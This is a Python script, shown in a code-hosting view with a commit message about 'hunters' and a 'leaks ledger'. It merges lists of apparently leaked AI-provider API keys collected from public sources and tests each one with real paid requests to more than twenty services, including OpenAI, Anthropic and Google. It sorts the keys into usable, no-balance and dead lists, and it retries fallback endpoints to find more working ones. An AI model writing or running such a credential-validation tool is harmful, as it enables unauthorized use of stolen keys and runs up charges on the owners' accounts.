Local branch had diverged from origin/master (sibling commits on the same base). Rewrote local history linearly on top of origin/master, folding in all local content: exa/hot-platform discovery hunters, leaks ledger, nightly sweep orchestrator, updated .gitignore and skill docs, plus the latest hunt output and vault state. Remote-only files (vault keys, channel scripts) were restored rather than dropped, so the resulting tree is a full union of both sides.
341 lines
15 KiB
Python
341 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
"""Combine old + new live keys, filter false positives, and run deep verification.
|
|
|
|
Uses urllib instead of spawning curl subprocesses per key.
|
|
"""
|
|
|
|
import time
|
|
import json
|
|
import sys
|
|
import argparse
|
|
import urllib.request
|
|
import urllib.error
|
|
from pathlib import Path
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from collections import defaultdict
|
|
|
|
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
|
from verify_cache import CachedVerifier
|
|
|
|
RESULTS_DIR = Path(__file__).parent / "results"
|
|
OLD_LIVE = RESULTS_DIR / "live_keys_raw.txt.bak"
|
|
NEW_LIVE = RESULTS_DIR / "live_keys_raw.txt"
|
|
COMBINED_LIVE = RESULTS_DIR / "live_keys_combined.txt"
|
|
DEEP_USABLE = RESULTS_DIR / "deep_verify" / "usable.txt"
|
|
DEEP_NOBAL = RESULTS_DIR / "deep_verify" / "valid_no_balance.txt"
|
|
DEEP_NOACC = RESULTS_DIR / "deep_verify" / "valid_no_access.txt"
|
|
DEEP_DEAD = RESULTS_DIR / "deep_verify" / "dead.txt"
|
|
|
|
# ── Deep verify configs ──────────────────────────────────────
|
|
DEEP_CONFIGS = {
|
|
"OpenAI": {
|
|
"url": "https://api.openai.com/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"Anthropic": {
|
|
"url": "https://api.anthropic.com/v1/messages",
|
|
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
|
"body": '{"model":"claude-3-5-haiku-20241022","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"Google": {
|
|
"url": "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key={key}",
|
|
"headers": {"Content-Type": "application/json"},
|
|
"body": '{"contents":[{"parts":[{"text":"hi"}]}],"generationConfig":{"maxOutputTokens":1}}',
|
|
},
|
|
"Groq": {
|
|
"url": "https://api.groq.com/openai/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"llama-3.1-8b-instant","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"DeepSeek": {
|
|
"url": "https://api.deepseek.com/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"deepseek-chat","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"OpenRouter": {
|
|
"url": "https://openrouter.ai/api/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"meta-llama/llama-3.1-8b-instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"Replicate": {
|
|
"url": "https://api.replicate.com/v1/account",
|
|
"headers": {"Authorization": "Token {key}"},
|
|
"body": None,
|
|
},
|
|
"Perplexity": {
|
|
"url": "https://api.perplexity.ai/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"llama-3.1-8b-online","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"DashScope": {
|
|
"url": "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"qwen-plus","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"Moonshot": {
|
|
"url": "https://api.moonshot.cn/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"moonshot-v1-8k","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"VolcanoArk": {
|
|
"url": "https://ark.cn-beijing.volces.com/api/v3/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
"fallback": {
|
|
"url": "https://ark.cn-beijing.volces.com/api/coding/v1/messages",
|
|
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
|
"body": '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
},
|
|
"ZhipuAI": {
|
|
"url": "https://open.bigmodel.cn/api/paas/v4/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"TogetherAI": {
|
|
"url": "https://api.together.xyz/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"meta-llama/Llama-3.2-3B-Instruct-Turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"LingyiWanwu": {
|
|
"url": "https://api.lingyiwanwu.com/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"yi-large","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"StepFun": {
|
|
"url": "https://api.stepfun.com/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"step-1-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"SiliconFlow": {
|
|
"url": "https://api.siliconflow.cn/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"Qwen/Qwen2.5-7B-Instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"HuggingFace": {
|
|
"url": "https://huggingface.co/api/whoami-v2",
|
|
"headers": {"Authorization": "Bearer {key}"},
|
|
"body": None,
|
|
},
|
|
"OllamaCloud": {
|
|
"url": "https://api.ollama.com/api/chat",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"gemma4:31b","messages":[{"role":"user","content":"hi"}],"stream":false}',
|
|
},
|
|
"LongCat": {
|
|
"url": "https://api.longcat.chat/openai/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"MiniMax": {
|
|
"url": "https://api.minimaxi.com/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
"FreeModel": {
|
|
"url": "https://cc.freemodel.dev/v1/messages",
|
|
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
|
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
"fallback": {
|
|
"url": "https://api.freemodel.dev/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"claude-sonnet-4-20250514","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
},
|
|
"XKiro": {
|
|
"url": "https://api.xkiro.com/v1/chat/completions",
|
|
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
|
"body": '{"model":"anthropic/claude-sonnet-4-5","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
|
},
|
|
}
|
|
|
|
|
|
def _http_request(url, headers, body):
|
|
"""Send an HTTP request and return (status_code, response_body)."""
|
|
data = body.encode() if body else None
|
|
req = urllib.request.Request(url, data=data, headers=headers, method="POST" if body else "GET")
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=15) as resp:
|
|
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
|
except urllib.error.HTTPError as e:
|
|
return e.code, e.read().decode("utf-8", errors="replace")
|
|
except Exception:
|
|
return 0, ""
|
|
|
|
|
|
def deep_verify(provider, key):
|
|
"""Send actual chat completion, return USABLE/NO_BALANCE/NO_ACCESS/DEAD."""
|
|
if provider not in DEEP_CONFIGS:
|
|
return "SKIP"
|
|
|
|
cfg = DEEP_CONFIGS[provider]
|
|
url = cfg["url"].replace("{key}", key)
|
|
headers = {hname: hval.replace("{key}", key) for hname, hval in cfg["headers"].items()}
|
|
|
|
code, body = _http_request(url, headers, cfg.get("body"))
|
|
|
|
# Check for fallback (VolcanoArk coding plan, FreeModel)
|
|
if code != 200 and "fallback" in cfg:
|
|
fcfg = cfg["fallback"]
|
|
furl = fcfg["url"].replace("{key}", key)
|
|
fheaders = {hname: hval.replace("{key}", key) for hname, hval in fcfg["headers"].items()}
|
|
code, body = _http_request(furl, fheaders, fcfg.get("body"))
|
|
|
|
if code == 200:
|
|
bl = body.lower()
|
|
if "error" in bl and ("balance" in bl or "quota" in bl or "arrearage" in bl):
|
|
return "NO_BALANCE"
|
|
return "USABLE"
|
|
elif code in (402, 429):
|
|
return "NO_BALANCE"
|
|
elif code == 404:
|
|
if "invalid" in body.lower() or "unauthorized" in body.lower():
|
|
return "DEAD"
|
|
return "NO_ACCESS"
|
|
elif code in (401, 403):
|
|
return "DEAD"
|
|
elif code == 400:
|
|
bl = body.lower()
|
|
if any(x in bl for x in ["arrearage", "insufficient", "balance", "overdue", "payment"]):
|
|
return "NO_BALANCE"
|
|
elif any(x in bl for x in ["suspended", "limit", "quota", "rate"]):
|
|
return "NO_BALANCE"
|
|
else:
|
|
return "NO_ACCESS"
|
|
else:
|
|
return "UNKNOWN" if code else "DEAD"
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--workers", type=int, default=20)
|
|
ap.add_argument("--limit", type=int, default=0,
|
|
help="max keys to verify (0 = all)")
|
|
ap.add_argument("--providers", default="all",
|
|
help="comma list of providers to verify, or 'all'")
|
|
ap.add_argument("--no-cache", action="store_true")
|
|
args = ap.parse_args()
|
|
|
|
# ── Combine old + new live keys ──────────────────────────
|
|
all_keys = {} # (provider, key) -> (url, desc)
|
|
|
|
for filepath in [OLD_LIVE, NEW_LIVE]:
|
|
if not filepath.exists():
|
|
continue
|
|
with open(filepath) as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
parts = line.split("|")
|
|
if parts[0] == "LIVE" and len(parts) >= 4:
|
|
provider, key, url = parts[1], parts[2], parts[3]
|
|
desc = parts[4] if len(parts) > 4 else ""
|
|
elif len(parts) >= 3:
|
|
provider, key, url = parts[0], parts[1], parts[2]
|
|
desc = parts[3] if len(parts) > 3 else ""
|
|
else:
|
|
continue
|
|
|
|
if not provider or not key:
|
|
continue
|
|
# Filter out obvious fake/mock keys
|
|
if any(x in key.lower() for x in ["mock", "xxxx", "your-", "example", "test-key", "placeholder"]):
|
|
continue
|
|
# Filter OpenRouter (all dead, public models endpoint)
|
|
if provider == "OpenRouter":
|
|
continue
|
|
|
|
k = (provider, key)
|
|
if k not in all_keys:
|
|
all_keys[k] = (url, desc)
|
|
|
|
print(f"Combined live keys: {len(all_keys)} (filtered fakes + OpenRouter)")
|
|
|
|
# Write combined
|
|
with open(COMBINED_LIVE, "w") as f:
|
|
for (provider, key), (url, desc) in sorted(all_keys.items()):
|
|
f.write(f"LIVE|{provider}|{key}|{url}|{desc}\n")
|
|
|
|
# Summary by provider
|
|
by_provider = defaultdict(int)
|
|
for (provider, key) in all_keys:
|
|
by_provider[provider] += 1
|
|
print("\nBy provider:")
|
|
for p in sorted(by_provider):
|
|
print(f" {p:20s}: {by_provider[p]}")
|
|
|
|
# ── Deep verify ──────────────────────────────────────────
|
|
to_verify = [(p, k, u, d) for (p, k), (u, d) in all_keys.items()
|
|
if p in DEEP_CONFIGS]
|
|
if args.providers != "all":
|
|
want = set(x.strip() for x in args.providers.split(","))
|
|
to_verify = [t for t in to_verify if t[0] in want]
|
|
if args.limit:
|
|
to_verify = to_verify[:args.limit]
|
|
print(f"\nDeep verifying {len(to_verify)} keys...")
|
|
|
|
results = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "DEAD": [], "SKIP": [], "UNKNOWN": []}
|
|
processed = 0
|
|
start = time.time()
|
|
|
|
# Cache key = "Provider::key" — verdicts persist across nightly runs
|
|
# (DEAD forever, NO_BALANCE/NO_ACCESS 6h, USABLE 30m via verify_cache).
|
|
with CachedVerifier("deep_verify",
|
|
lambda ck: (deep_verify(*ck.split("::", 1)), ""),
|
|
force=args.no_cache) as ver:
|
|
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
|
futures = {pool.submit(ver, f"{p}::{k}"): (p, k, u, d)
|
|
for p, k, u, d in to_verify}
|
|
|
|
for future in as_completed(futures):
|
|
p, k, u, d = futures[future]
|
|
processed += 1
|
|
try:
|
|
result, _detail = future.result()
|
|
except Exception:
|
|
result = "DEAD"
|
|
|
|
results[result].append((p, k, u, d))
|
|
|
|
if processed % 50 == 0:
|
|
elapsed = time.time() - start
|
|
print(f" [{processed}/{len(to_verify)}] usable={len(results['USABLE'])} "
|
|
f"nobal={len(results['NO_BALANCE'])} dead={len(results['DEAD'])} "
|
|
f"({processed/elapsed:.0f}/s)")
|
|
|
|
elapsed = time.time() - start
|
|
print(f"\nDone in {elapsed:.1f}s")
|
|
print(f" USABLE: {len(results['USABLE'])}")
|
|
print(f" NO_BALANCE: {len(results['NO_BALANCE'])}")
|
|
print(f" NO_ACCESS: {len(results['NO_ACCESS'])}")
|
|
print(f" DEAD: {len(results['DEAD'])}")
|
|
print(f" SKIP: {len(results['SKIP'])}")
|
|
print(f" UNKNOWN: {len(results['UNKNOWN'])}")
|
|
|
|
# Write results
|
|
for category, filepath in [
|
|
("USABLE", DEEP_USABLE),
|
|
("NO_BALANCE", DEEP_NOBAL),
|
|
("NO_ACCESS", DEEP_NOACC),
|
|
("DEAD", DEEP_DEAD),
|
|
]:
|
|
with open(filepath, "w") as f:
|
|
for p, k, u, d in sorted(results[category]):
|
|
f.write(f"{p}|{k}|{u}|{d}\n")
|
|
|
|
# Print usable keys by provider
|
|
print("\n=== USABLE keys by provider ===")
|
|
usable_by_provider = defaultdict(int)
|
|
for p, k, u, d in results["USABLE"]:
|
|
usable_by_provider[p] += 1
|
|
for p in sorted(usable_by_provider):
|
|
print(f" {p:20s}: {usable_by_provider[p]}")
|
|
|
|
print(f"\nUsable keys written to: {DEEP_USABLE}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|